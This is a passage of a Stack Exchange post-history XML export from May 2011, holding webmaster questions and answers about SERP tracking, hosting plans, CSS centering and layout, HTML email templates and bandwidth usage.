  <row Id="30827" PostHistoryTypeId="16" PostId="13369" RevisionGUID="35688db2-1d22-473b-af02-3b9e4e8dc139" CreationDate="2011-05-05T13:19:57.300" UserId="1253" />
  <row Id="30828" PostHistoryTypeId="10" PostId="13031" RevisionGUID="b6d9701f-825b-4a90-a859-0d5e3d440e36" CreationDate="2011-05-05T13:23:53.820" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="30829" PostHistoryTypeId="2" PostId="13370" RevisionGUID="609883e9-8eba-465a-b7fe-1d38f06ccc5d" CreationDate="2011-05-05T13:39:59.053" UserId="7311" Text="Don't launch on a Friday. (unless you want to work on the weekend I guess)&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/2115612/why-not-to-deploy-on-a-friday" />
  <row Id="30830" PostHistoryTypeId="16" PostId="13370" RevisionGUID="ec58fad4-545e-45d2-8f33-a2d5edb24b65" CreationDate="2011-05-05T13:39:59.053" UserId="7311" />
  <row Id="30831" PostHistoryTypeId="2" PostId="13371" RevisionGUID="a930198f-f507-422c-9714-2348127528ea" CreationDate="2011-05-05T13:53:58.013" UserId="1643" Text="Lots and lots of testing. Release to a small group of users. Reward then for reporting genuine problems." />
  <row Id="30832" PostHistoryTypeId="16" PostId="13371" RevisionGUID="af54219f-8d44-4183-81cc-43e1cd99525e" CreationDate="2011-05-05T13:53:58.013" UserId="1643" />
  <row Id="30833" PostHistoryTypeId="2" PostId="13372" RevisionGUID="15f236b7-3cc9-45e3-a0f0-36ba9db017ef" CreationDate="2011-05-05T15:04:21.807" UserId="4053" Text="I've written a piece of code, which crawls the search engines, first 40 50 results  &#xD;&#xA;and check's for the specified keywords and tries to gather some statistics for them.  &#xD;&#xA;&#xD;&#xA;I've heard that this may be called content scraping but i really don't think that  &#xD;&#xA;this is the issue here since i would only call it maybe twice a day, on a set of  &#xD;&#xA;keywords that i think will be relevant to my service.  &#xD;&#xA;&#xD;&#xA;For using SEOmoz and other players in the game, i really think it's unfair because  &#xD;&#xA;it's really much they want for some simple keyword tracking.  &#xD;&#xA;&#xD;&#xA;Please give me some advice on what can go wrong and what would be a good way.  &#xD;&#xA;&#xD;&#xA;Thank you very much" />
  <row Id="30834" PostHistoryTypeId="1" PostId="13372" RevisionGUID="15f236b7-3cc9-45e3-a0f0-36ba9db017ef" CreationDate="2011-05-05T15:04:21.807" UserId="4053" Text="Advice on trying to determine the rankings of my keywords via PHP" />
  <row Id="30835" PostHistoryTypeId="3" PostId="13372" RevisionGUID="15f236b7-3cc9-45e3-a0f0-36ba9db017ef" CreationDate="2011-05-05T15:04:21.807" UserId="4053" Text="&lt;google&gt;&lt;search&gt;" />
  <row Id="30836" PostHistoryTypeId="2" PostId="13373" RevisionGUID="bf5721a3-f5d2-4b41-940f-6b64e3b1d9c7" CreationDate="2011-05-05T15:09:32.037" UserId="1253" Text="Use [Google's web search API][1] and you won't be content scraping anymore. (I linked to the search results since it returned a lot of resources on the topic).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webhp?sourceid=chrome-instant&amp;ie=UTF-8&amp;ion=1&amp;nord=1#sclient=psy&amp;hl=en&amp;safe=off&amp;nord=1&amp;site=webhp&amp;source=hp&amp;q=google%20search%20api&amp;aq=0&amp;aqi=g5&amp;aql=&amp;oq=&amp;pbx=1&amp;fp=38664e7e8c090ddc&amp;ion=1&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=38664e7e8c090ddc&amp;ion=1" />
  <row Id="30837" PostHistoryTypeId="25" PostId="13372" RevisionGUID="639fc523-5c97-44c6-aaa4-abb6a45ccc19" CreationDate="2011-05-05T15:11:27.823" Comment="http://twitter.com/#!/StackWebmasters/status/66158070958522369" />
  <row Id="30838" PostHistoryTypeId="2" PostId="13374" RevisionGUID="73196631-f34e-4640-be74-eceaff5ed506" CreationDate="2011-05-05T15:43:32.227" UserId="7198" Text="&lt;a href=&quot;http://www.seohosting.com/hosting-plans.php&quot;&gt;SEO Hosting&lt;/a&gt; (from &lt;a href=&quot;http://hostgator.com&quot;&gt;Hostgator&lt;/a&gt;) offer shared plans designed to run sites from multiple IP addresses, including Fantastico support, which allows you to install WordPress. They start at $35/month, so it may prove cheaper and more convenient to pay for multiple IPs from your existing host.&#xD;&#xA;&#xD;&#xA;Note also that gaming search engines by building link farms and/or tricking them into believing that you don't own multiple cross-linked sites is prone to risk should search engines start blacklisting or penalising IPs from known 'SEO webhosts'.&#xD;&#xA;&#xD;&#xA;Blackhat SEO techniques, whilst interesting technically, are rarely a worthwhile substitute for building great content that people will love, use, and spread on your behalf without subterfuge." />
  <row Id="30839" PostHistoryTypeId="2" PostId="13375" RevisionGUID="60c06c7c-0098-4185-ad3b-6c97f3a894e2" CreationDate="2011-05-05T15:45:49.390" UserId="6836" Text="Here's a recent (May 4, 2011 -- yesterday when I write this) study from MediaMind with &quot;Cookie Inflation Multipliers&quot; for different markets: &#xD;&#xA;&#xD;&#xA;* [press release][1]&#xD;&#xA;* [report][2] (requires filling out a form and giving them your e-mail address)&#xD;&#xA;* [direct link to the report][3] (because it's not unique for the e-mail address)&#xD;&#xA;* [write up by eMarketer][4]&#xD;&#xA;&#xD;&#xA;Their calculated inflation factor is between 2.2 for Germany to 3.0 for the US.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediamind.com/Content.aspx?page=press_releases&amp;id=226&#xD;&#xA;  [2]: http://www.mediamind.com/Forms/Global_Benchmarks_2011/index.html?utm_source=PR&amp;utm_medium=PR&amp;utm_campaign=Global_Benchmarks&#xD;&#xA;  [3]: http://www.mediamind.com/Data/Uploads/ResourceLibrary/MediaMind_Global_Benchmarks_2011.pdf&#xD;&#xA;  [4]: http://www.emarketer.com/Article.aspx?R=100837" />
  <row Id="30840" PostHistoryTypeId="2" PostId="13376" RevisionGUID="a30de751-788a-43fc-8467-0443c1468bc5" CreationDate="2011-05-05T15:51:57.913" UserId="7008" Text="What is your experience with Amazon EC2 cloud hosting service?&#xD;&#xA;&#xD;&#xA;a) setting up and configuring the service&#xD;&#xA;b) maintenance&#xD;&#xA;c) speed / latency&#xD;&#xA;d) reliability?&#xD;&#xA;&#xD;&#xA;Amazon did experience some major outages lately, but from what I read, it is still the most advanced hosting service available. Do you agree?&#xD;&#xA;&#xD;&#xA;How does it compare to Rackspace?" />
  <row Id="30841" PostHistoryTypeId="1" PostId="13376" RevisionGUID="a30de751-788a-43fc-8467-0443c1468bc5" CreationDate="2011-05-05T15:51:57.913" UserId="7008" Text="What is your experience with Amazon EC2 hosting?" />
  <row Id="30842" PostHistoryTypeId="3" PostId="13376" RevisionGUID="a30de751-788a-43fc-8467-0443c1468bc5" CreationDate="2011-05-05T15:51:57.913" UserId="7008" Text="&lt;web-hosting&gt;&lt;cloud-hosting&gt;&lt;amazon-ec2&gt;" />
  <row Id="30843" PostHistoryTypeId="2" PostId="13377" RevisionGUID="9008ddc5-2614-412c-bacb-1a3d2d46bc75" CreationDate="2011-05-05T15:55:15.073" UserId="3535" Text="It really would depend on your audience. If you're targeting big corporations or schools, etc. the IT staff may not have had the resources needed to upgrade yet. I recently was testing out a site designed as an educational site targeted for elementary school kids, and was able to do on-site testing at a local school. Sure enough, the browser they were using was IE6, and there were a number of errors that popped up with the design that I had to go back and adjust for that old browser." />
  <row Id="30844" PostHistoryTypeId="16" PostId="13377" RevisionGUID="9e6fcc43-a53f-48db-823c-fc22ae09923c" CreationDate="2011-05-05T15:55:15.073" UserId="3535" />
  <row Id="30848" PostHistoryTypeId="4" PostId="1957" RevisionGUID="b96d6ddf-33fd-47b9-803f-cd1ea62d733d" CreationDate="2011-05-05T16:13:11.307" UserId="4053" Comment="again, this time Caps" Text="Can anyone recommend a Google SERP tracker?" />
  <row Id="30849" PostHistoryTypeId="24" PostId="1957" RevisionGUID="b96d6ddf-33fd-47b9-803f-cd1ea62d733d" CreationDate="2011-05-05T16:13:11.307" Comment="Proposed by 4053 approved by -1 edit id of 250" />
  <row Id="30850" PostHistoryTypeId="5" PostId="1957" RevisionGUID="2a2cce19-e8f6-4e5a-8b5f-56930ac3d83a" CreationDate="2011-05-05T16:13:12.240" UserId="1064" Comment="Grammar and typographical edits" Text="I want to track my website's position in Google's search results for around 50 keywords/phrases and I am looking to a nice web service or Windows application to automate this process.&#xD;&#xA;&#xD;&#xA;Ideally, I want to see pretty Javascript or Flash line graphs for my keywords and their positions.&#xD;&#xA;&#xD;&#xA;I'm currently free-trialing [Raven Tools][1] and [Sheer SEO][2] but I am not particularly impressed with either.&#xD;&#xA;&#xD;&#xA;My budget is up to £25-30/$30-40 per month for a decent rank checker.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://raventools.com&#xD;&#xA;  [2]: http://www.sheerseo.com" />
  <row Id="30851" PostHistoryTypeId="2" PostId="13379" RevisionGUID="cd45d219-24c9-45e8-b61b-2ff29b27921d" CreationDate="2011-05-05T16:16:25.763" UserId="3095" Text="There is a setting when adding your GA code to allow for multiple domains. " />
  <row Id="30852" PostHistoryTypeId="2" PostId="13380" RevisionGUID="e133e5d6-b002-47e1-9670-7ebfae96ce79" CreationDate="2011-05-05T16:16:54.913" UserId="7315" Text="Are there any statistics about the development of average internet connection speed and request latency from households to major sites over the years?&#xD;&#xA;&#xD;&#xA;I find this information very useful for ajax related software design (i.e. feasibility studies of several webapp use cases).&#xD;&#xA;" />
  <row Id="30853" PostHistoryTypeId="1" PostId="13380" RevisionGUID="e133e5d6-b002-47e1-9670-7ebfae96ce79" CreationDate="2011-05-05T16:16:54.913" UserId="7315" Text="Statistics about development of average connection speed and latency over the years" />
  <row Id="30854" PostHistoryTypeId="3" PostId="13380" RevisionGUID="e133e5d6-b002-47e1-9670-7ebfae96ce79" CreationDate="2011-05-05T16:16:54.913" UserId="7315" Text="&lt;speed&gt;&lt;page-speed&gt;" />
  <row Id="30855" PostHistoryTypeId="2" PostId="13381" RevisionGUID="b51701a6-a689-40fe-a8f1-67eba6ecd28e" CreationDate="2011-05-05T16:40:58.243" UserId="7318" Text="sorry but I just read your message.&#xD;&#xA;&#xD;&#xA;Question 1:&#xD;&#xA;Yes I still have links to switch language. The links are clickable flags and they are located in every page.&#xD;&#xA;&#xD;&#xA;Question 2:&#xD;&#xA;In the webmaster tools I see I have a bunch of links coming from italian sites, but the 80% come from foreign countries: germany, hungary, eastern countries but very few come from UK or U.S. I think one reason for having good results just in italian queries is for the geografic position of my server. I knew this is one of the parameters Google takes in consideration...&#xD;&#xA;&#xD;&#xA;Question 3&#xD;&#xA;I'm agree with you that a 301 redirect from www.zicaffe.com to /it/... or /en/... is not suggestable and I was considering to change (or try to change) it. With a 302 I would not loose the old URL (zicaffe.com) for the new one (zicaffe.com/it/home.aspx) that is what I'd like to obtain. Somewhere I was reading that 302 is usable for just a short period and not all site life long...do you know anything about it?&#xD;&#xA;&#xD;&#xA;Question 4:&#xD;&#xA;I even posses zicaffe.it domain, and I'm considering to do a 301 redirect to zicaffe.com/it/... and (as already told) change .com version with english default language ... I'm pretty scared to loose the good results achieved with an operation like that.&#xD;&#xA;&#xD;&#xA;Thanks very much for your time.&#xD;&#xA;G.Z." />
  <row Id="30856" PostHistoryTypeId="17" PostId="13383" RevisionGUID="fe5f4c95-0b7c-4048-85b5-9b6d00565775" CreationDate="2011-05-05T16:53:28.243" UserId="-1" Comment="from http://stackoverflow.com/questions/5900579/web-hosting-plan-for-portfolio-site/5900618#5900618" Text="" />
  <row Id="30857" PostHistoryTypeId="17" PostId="13384" RevisionGUID="18955aca-012f-437f-8a8d-e71951ec1901" CreationDate="2011-05-05T16:53:28.243" UserId="-1" Comment="from http://stackoverflow.com/questions/5900579/web-hosting-plan-for-portfolio-site/5900670#5900670" Text="" />
  <row Id="30858" PostHistoryTypeId="2" PostId="13383" RevisionGUID="67ebc4af-688a-4973-acae-e48ccac645a0" CreationDate="2011-05-05T15:48:00.943" UserDisplayName="rudi_visser" Text="Using Google Fonts will not use up any additional bandwidth as you're pulling the data from Google's servers rather than your own.&#xD;&#xA;&#xD;&#xA;The main thing to consider, if you're expecting a lot of traffic is bandwidth. If it's a small portfolio website with just a few images you may find your total site's size weighing in at 1MB. This will obviously give you a minimum of 7200~ requests, and that's based on every single resource being hit per visit which isn't going to happen.&#xD;&#xA;&#xD;&#xA;If you're expecting this, or less, then that hosting plan would be more than suffice." />
  <row Id="30859" PostHistoryTypeId="2" PostId="13384" RevisionGUID="ea2259ad-3d5f-4e51-be41-823913c528d2" CreationDate="2011-05-05T15:51:19.977" UserDisplayName="Stephen" Text="You never really know what is enough until you see the load to your server. However, a small portfolio site takes up next to nothing in terms of space and bandwidth. Therefore, I would start with that and move to a higher cost package if necessary.&#xD;&#xA;&#xD;&#xA;Google fonts are loaded from Google's servers. All you do is point to them so it is pretty much zero bandwidth." />
  <row Id="30860" PostHistoryTypeId="2" PostId="13382" RevisionGUID="5c2793f6-ba6f-4de9-96cc-5efe13b553ee" CreationDate="2011-05-05T15:45:14.390" UserDisplayName="jeraldov" Text="im currently creating my personal website right now. the website is only a portfolio site to display websites that i have created (i havent made any as of yet), and it will not be a blog site also. question is, will this kind of web hosting plan be enough for me?&#xD;&#xA;&#xD;&#xA;500MB space&#xD;&#xA;7GB traffic/mo - bandwidth&#xD;&#xA;costs something like $1.5 a month.&#xD;&#xA;&#xD;&#xA;another details is ill be using Google Fonts so would it eat up more traffic?&#xD;&#xA;&#xD;&#xA;thanks.&#xD;&#xA;" />
  <row Id="30861" PostHistoryTypeId="1" PostId="13382" RevisionGUID="5c2793f6-ba6f-4de9-96cc-5efe13b553ee" CreationDate="2011-05-05T15:45:14.390" UserDisplayName="jeraldov" Text="web hosting plan for portfolio site" />
  <row Id="30862" PostHistoryTypeId="3" PostId="13382" RevisionGUID="5c2793f6-ba6f-4de9-96cc-5efe13b553ee" CreationDate="2011-05-05T15:45:14.390" UserDisplayName="jeraldov" Text="&lt;web-hosting&gt;" />
  <row Id="30863" PostHistoryTypeId="17" PostId="13382" RevisionGUID="b98772cc-2aa6-434d-a94b-99b6231b0d6e" CreationDate="2011-05-05T16:53:28.243" UserId="-1" Comment="from http://stackoverflow.com/questions/5900579/web-hosting-plan-for-portfolio-site" Text="" />
  <row Id="30864" PostHistoryTypeId="2" PostId="13385" RevisionGUID="f810d7e5-d88b-4f3d-9a99-ec9c75e53b57" CreationDate="2011-05-05T17:37:01.490" UserId="7319" Text="i got told to come to here from [http://stackoverflow.com][1] so i hope you have got the answer&#xD;&#xA;&#xD;&#xA;there is a problem im having with my HTML, ive searched the question all over the internet but still no real answer.&#xD;&#xA;&#xD;&#xA;i have a website with some images in, and i want them to be in the middle, now on my screen there in the middle. but that because ive put them there by moving them to one side, but when i get my friends to look at it, the image is of to one side. now my friends tell me just to leave it but i just can't.&#xD;&#xA;&#xD;&#xA;and this is the webstie (if you are on a 13.5&quot; screen it will look to be in the middle)&#xD;&#xA;[www.roundaboutmk.com][2]&#xD;&#xA;&#xD;&#xA;thank you very much for reading, and if you know please reply soon, this is just killing me&#xD;&#xA;&#xD;&#xA;connor &#xD;&#xA;&#xD;&#xA;aged 15&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com&#xD;&#xA;  [2]: http://roundaboutmk.com" />
  <row Id="30865" PostHistoryTypeId="1" PostId="13385" RevisionGUID="f810d7e5-d88b-4f3d-9a99-ec9c75e53b57" CreationDate="2011-05-05T17:37:01.490" UserId="7319" Text="how to i get an image 100% in the middle of every single screen in the world" />
  <row Id="30866" PostHistoryTypeId="3" PostId="13385" RevisionGUID="f810d7e5-d88b-4f3d-9a99-ec9c75e53b57" CreationDate="2011-05-05T17:37:01.490" UserId="7319" Text="&lt;html&gt;" />
  <row Id="30867" PostHistoryTypeId="2" PostId="13386" RevisionGUID="ec614d70-ca5a-499b-be1c-d4fbb4783e63" CreationDate="2011-05-05T17:48:36.860" UserId="1803" Text="&gt; 2. Use Youtube. Pros: Very simple to use; nothing to do.&#xD;&#xA;&#xD;&#xA;The cons are, that if your users are outside the USA, many videos are blocked due to regional copyright restrictions. Nearly every fifth video I'd like to watch on YouTube states: &quot;This video is not available in your country.&quot; Of course, this heavily depends on what types of video you like to embed." />
  <row Id="30868" PostHistoryTypeId="2" PostId="13387" RevisionGUID="ea594a89-6b7b-4750-a3b2-5c4570944570" CreationDate="2011-05-05T17:52:56.920" UserId="2739" Text="I'm surprised you were sent over here from Stack Overflow, as this problem can be easily solved with cascading stylesheets (CSS).&#xD;&#xA;&#xD;&#xA;You can centre the image by using CSS to add an automatic margin to your image, and converting it to a block element.&#xD;&#xA;&#xD;&#xA;Adding this CSS to your page will add an auto margin to the left and right of your minecraft image.&#xD;&#xA;&#xD;&#xA;    #minecraft2 {&#xD;&#xA;        margin: 0 auto;&#xD;&#xA;        display: block;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You'll also want to remove the `align=&quot;absmiddle&quot;` and `hspace=&quot;115&quot;` from your existing code.&#xD;&#xA;&#xD;&#xA;Finally you'll also probably want to remove the horizontal scorllbar that can appear in some browsers, which can be done by adding this to your body tag:&#xD;&#xA;&#xD;&#xA;    body {margin: 0;}&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30869" PostHistoryTypeId="6" PostId="13385" RevisionGUID="d222670f-1228-47d0-a58c-f6f2f4ceb009" CreationDate="2011-05-05T18:10:55.023" UserId="2739" Comment="This problem can be solved with CSS so have tagged accordingly." Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="30870" PostHistoryTypeId="24" PostId="13385" RevisionGUID="d222670f-1228-47d0-a58c-f6f2f4ceb009" CreationDate="2011-05-05T18:10:55.023" Comment="Proposed by 2739 approved by -1 edit id of 251" />
  <row Id="30871" PostHistoryTypeId="5" PostId="13385" RevisionGUID="71e17588-513d-4ea5-8514-906a8ff5a8ed" CreationDate="2011-05-05T18:10:56.367" UserId="1253" Comment="Removed greeting and thank you" Text="there is a problem im having with my HTML, ive searched the question all over the internet but still no real answer.&#xD;&#xA;&#xD;&#xA;i have a website with some images in, and i want them to be in the middle, now on my screen there in the middle. but that because ive put them there by moving them to one side, but when i get my friends to look at it, the image is of to one side. now my friends tell me just to leave it but i just can't.&#xD;&#xA;&#xD;&#xA;and this is the webstie (if you are on a 13.5&quot; screen it will look to be in the middle)&#xD;&#xA;[www.roundaboutmk.com][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com&#xD;&#xA;  [2]: http://roundaboutmk.com" />
  <row Id="30872" PostHistoryTypeId="25" PostId="13380" RevisionGUID="d1ba67fc-91d5-436b-a3a2-ade3ccd40621" CreationDate="2011-05-05T18:11:27.490" Comment="http://twitter.com/#!/StackWebmasters/status/66203368443494400" />
  <row Id="30873" PostHistoryTypeId="5" PostId="13387" RevisionGUID="c6a2cb38-6f61-4e02-a73c-754d934d8262" CreationDate="2011-05-05T18:15:15.707" UserId="2739" Comment="Removed reference to SO" Text="This problem can be easily solved with cascading stylesheets (CSS).&#xD;&#xA;&#xD;&#xA;You can centre the image by using CSS to add an automatic margin to your image, and converting it to a block element.&#xD;&#xA;&#xD;&#xA;Adding this CSS to your page will add an auto margin to the left and right of your minecraft image.&#xD;&#xA;&#xD;&#xA;    #minecraft2 {&#xD;&#xA;        margin: 0 auto;&#xD;&#xA;        display: block;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You'll also want to remove the `align=&quot;absmiddle&quot;` and `hspace=&quot;115&quot;` from your existing code.&#xD;&#xA;&#xD;&#xA;Finally you'll also probably want to remove the horizontal scorllbar that can appear in some browsers, which can be done by adding this to your body tag:&#xD;&#xA;&#xD;&#xA;    body {margin: 0;}&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30874" PostHistoryTypeId="2" PostId="13388" RevisionGUID="6a8626a9-7618-4fb1-a935-735f68fd04eb" CreationDate="2011-05-05T18:21:47.670" UserId="7320" Text="Have a look at the JIT spacetree visualisation (www.thejit.org). They use JSON." />
  <row Id="30875" PostHistoryTypeId="2" PostId="13389" RevisionGUID="d5fd88b6-c67e-4b1e-a463-8211c5fdb7a5" CreationDate="2011-05-05T18:37:53.167" UserId="5806" Text="**What you ask is not always possible.**&#xD;&#xA;&#xD;&#xA;**Using CSS you can center the image in the browser window without too much difficulty.**&#xD;&#xA;As John pointed out, doing so horizontally is extremely easy. You can also do that vertically with not too much effort.&#xD;&#xA;&#xD;&#xA;**To get an image centered on screen is much harder**. You have to use Javascript to get the size of the user's screen (which may not even be returned correctly depending on virtual desktops, multiple screens, the OS, etc). Then you use the screen size, window size and browser positions (possibly obtained by Javascript) to calculate where the middle of the screen is relative to the browser.&#xD;&#xA;&#xD;&#xA;It is highly likely that this is not possible in all platforms as you require obtaining a number of metrics from the OS. So, I'm with your friend, let it be and move on. Perhaps you can fix the repeating image problem instead, on my screen I see the image twice since my resolution is 2560x1600.&#xD;&#xA;" />
  <row Id="30876" PostHistoryTypeId="2" PostId="13390" RevisionGUID="9838948d-3bcb-41c7-babe-c6734183fbbc" CreationDate="2011-05-05T19:15:19.150" UserId="7304" Text="Ok so I've got a header and a footer with absolute positioning and heights of 144px. The content div in the middle area needs to be the full height of the area in between.&#xD;&#xA;&#xD;&#xA;Simplified:&#xD;&#xA;&#xD;&#xA;    &lt;style&gt;&#xD;&#xA;      .sandwich{&#xD;&#xA;        position: absolute;&#xD;&#xA;        height: 144px; &#xD;&#xA;        width: 100%; &#xD;&#xA;        left: 0;&#xD;&#xA;      }&#xD;&#xA;      #header{ top:    0px; }&#xD;&#xA;      #footer{ bottom: 0px; }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;div id=&quot;header&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;content&quot;&gt; Content &lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;footer&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;So basically I want a div that is 100% - 288px. At first I thought I could just make a 100% x 100% div with 144 padding on top and bottom and then stuff the content div in there at 100% but my thinking has gone stray somewhere." />
  <row Id="30877" PostHistoryTypeId="1" PostId="13390" RevisionGUID="9838948d-3bcb-41c7-babe-c6734183fbbc" CreationDate="2011-05-05T19:15:19.150" UserId="7304" Text="How to set content div's height to scale with header and footer div" />
  <row Id="30878" PostHistoryTypeId="3" PostId="13390" RevisionGUID="9838948d-3bcb-41c7-babe-c6734183fbbc" CreationDate="2011-05-05T19:15:19.150" UserId="7304" Text="&lt;html&gt;&lt;css&gt;&lt;website-design&gt;&lt;design&gt;&lt;cross-browser&gt;" />
  <row Id="30879" PostHistoryTypeId="2" PostId="13391" RevisionGUID="06a8aebf-f661-42f6-a892-6d7699b585d6" CreationDate="2011-05-05T19:25:47.127" UserId="3535" Text="Sounds to me like no matter what, you're wanting the footer to be at the very bottom of the screen, even if there's no content in between the header and footer. Is this accurate? If so, you're looking for a &quot;sticky footer&quot; solution. There's tons of methods out there, you can give this one a try to start off with: [CssStickyFooter][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cssstickyfooter.com/" />
  <row Id="30880" PostHistoryTypeId="2" PostId="13392" RevisionGUID="ea3ec76e-450f-4f95-ac80-c0bcdeab03bd" CreationDate="2011-05-05T19:31:01.397" UserId="7315" Text="I found good statistics at http://www.netindex.com/ but only ranging back to 2008 and with no explicit latency rate measurements." />
  <row Id="30881" PostHistoryTypeId="2" PostId="13393" RevisionGUID="71645717-33fe-4d3b-8237-aee2c47025ec" CreationDate="2011-05-05T19:36:21.700" UserId="7321" Text="You could give the new cloud platform [CloudFoundry][1] a shot. It uses Tomcat under the covers. You have to sign up for an account first. It might take a couple of days until you get your account approved.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cloudfoundry.com/" />
  <row Id="30882" PostHistoryTypeId="2" PostId="13394" RevisionGUID="1086de80-f0ef-4813-9ebe-00aaa208325a" CreationDate="2011-05-05T19:39:34.943" UserId="6355" Text="I'm designing and developing some html **email templates** for mass mailings. I was asked to provide an easy solution for a non-technical person to edit them safely and easily. &#xD;&#xA;&#xD;&#xA;I'm afraid conventional WYSIWYG editors can replace the &quot;old style&quot; code required for e-mail by more &quot;modern style&quot; code, not compatible with some e-mail clients.&#xD;&#xA;&#xD;&#xA;I will test the templates in the main mail clients, but it's not practical to ask this to be done every time they edit them. The person would not know how to edit them anyway.&#xD;&#xA;&#xD;&#xA;What do you recommend? I thought about building an html generator that would convert the data from a form into source code, but it seems that is a lot of work. I can not change the email sending provider. (It's Silverpop.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30883" PostHistoryTypeId="1" PostId="13394" RevisionGUID="1086de80-f0ef-4813-9ebe-00aaa208325a" CreationDate="2011-05-05T19:39:34.943" UserId="6355" Text="A method to edit html email templates easily" />
  <row Id="30884" PostHistoryTypeId="3" PostId="13394" RevisionGUID="1086de80-f0ef-4813-9ebe-00aaa208325a" CreationDate="2011-05-05T19:39:34.943" UserId="6355" Text="&lt;html&gt;&lt;email&gt;&lt;wysiwyg&gt;&lt;text-editor&gt;" />
  <row Id="30885" PostHistoryTypeId="2" PostId="13395" RevisionGUID="3230b99c-a313-40b9-9d0e-44ed0ffcdb38" CreationDate="2011-05-05T19:48:44.110" UserId="6355" Text="Freemind is a Mindmap creator that exports to flash and to html with JavaScript. It's very easy to use and efficient, but the looks is not as spectacular as the solutions above." />
  <row Id="30886" PostHistoryTypeId="5" PostId="13394" RevisionGUID="9bf42e25-c77f-42fe-85eb-9742bcd8725e" CreationDate="2011-05-05T19:58:29.270" UserId="6355" Comment="Edited for clarity" Text="I'm designing and developing some html **email templates** for mass mailings. I was asked to provide an easy solution for a non-technical person to edit them safely and easily. &#xD;&#xA;&#xD;&#xA;I'm afraid conventional WYSIWYG editors can replace the &quot;old style&quot; code required for e-mail by more &quot;modern style&quot; code, not compatible with some e-mail clients.&#xD;&#xA;&#xD;&#xA;I will test the templates in the main mail clients, but it's not practical to ask this to be done every time they edit them. The person would not know how to fix them anyway.&#xD;&#xA;&#xD;&#xA;What do you recommend? I thought about building an html generator that would convert the data from a form into source code, but it seems that is a lot of work. &#xD;&#xA;&#xD;&#xA;**Note:** I can not change the email sending provider. (It's Silverpop.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30887" PostHistoryTypeId="2" PostId="13396" RevisionGUID="d71646bd-ffc5-4ed3-8ad4-22499355829d" CreationDate="2011-05-05T20:05:55.227" UserId="7322" Text="I'm pretty new to web design/coding so I'm sorry if this question has an obvious answer I've overlooked. I'm currently working on a website for a small company (from scratch/no CMS) and am basing it off of the [HTML5reset](http://html5reset.org/) to get used to some of that stuff.&#xD;&#xA;&#xD;&#xA;I FTPd an early version of the site to the server (hosted by [Netix](http://netix.ca/)) for the client to OK. The next day I got a call from the client saying that the netix had called him to tell him that his site was taking up something like 10GB of bandwidth on the server. From what I can see the site is no bigger than 10MB. I called netix to try and figure it out with them. I was informed that there is some sort of 'bandwidth leakage' in my code, but couldn't get any more information.&#xD;&#xA;&#xD;&#xA;I'm at a total loss. I don't understand this at all and don't even know where to begin when it comes to diagnosing the problem. I can't even log in to the control panel on the site as I get a 509 Bandwidth Limit Exceeded error.&#xD;&#xA;&#xD;&#xA;Thank you so much for any help!" />
  <row Id="30888" PostHistoryTypeId="1" PostId="13396" RevisionGUID="d71646bd-ffc5-4ed3-8ad4-22499355829d" CreationDate="2011-05-05T20:05:55.227" UserId="7322" Text="What would be causing so much bandwidth usage if there are no large files?" />
  <row Id="30889" PostHistoryTypeId="3" PostId="13396" RevisionGUID="d71646bd-ffc5-4ed3-8ad4-22499355829d" CreationDate="2011-05-05T20:05:55.227" UserId="7322" Text="&lt;html&gt;&lt;web-hosting&gt;&lt;html5&gt;&lt;bandwidth&gt;" />
  <row Id="30890" PostHistoryTypeId="2" PostId="13397" RevisionGUID="6052f7cb-bc18-4c17-b02c-0f9f439e009d" CreationDate="2011-05-05T20:31:17.133" UserId="4502" Text="If all the users will be editing is the content or fairly simple display options, I'd look at using a basic CMS for this. They're not necessarily just for building &quot;sites.&quot; With some creative juggling of categories/tagging, you could just have them create a few entries with the same date, then have a &quot;daily archive&quot; that's based on the mailing template which they'd copy/paste from View Source. Even that might be simplified a bit by producing a straight-to-source-code version of the template or somesuch, but there's not enough detail on yours or Silverpop's needs(I've never used them) to say." />
  <row Id="30891" PostHistoryTypeId="5" PostId="13390" RevisionGUID="931e164d-6b03-4fcc-88cb-0a4793b8a5ef" CreationDate="2011-05-05T20:39:51.460" UserId="7304" Comment="screenshotted" Text="Ok so I've got a header and a footer with absolute positioning and heights of 144px. The content div in the middle area needs to be the full height of the area in between.&#xD;&#xA;&#xD;&#xA;Simplified:&#xD;&#xA;&#xD;&#xA;    &lt;style&gt;&#xD;&#xA;      .sandwich{&#xD;&#xA;        position: absolute;&#xD;&#xA;        height: 144px; &#xD;&#xA;        width: 100%; &#xD;&#xA;        left: 0;&#xD;&#xA;      }&#xD;&#xA;      #header{ top:    0px; }&#xD;&#xA;      #footer{ bottom: 0px; }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;div id=&quot;header&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;content&quot;&gt; Content &lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;footer&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;So basically I want a div that is 100% - 288px. At first I thought I could just make a 100% x 100% div with 144 padding on top and bottom and then stuff the content div in there at 100% but my thinking has gone stray 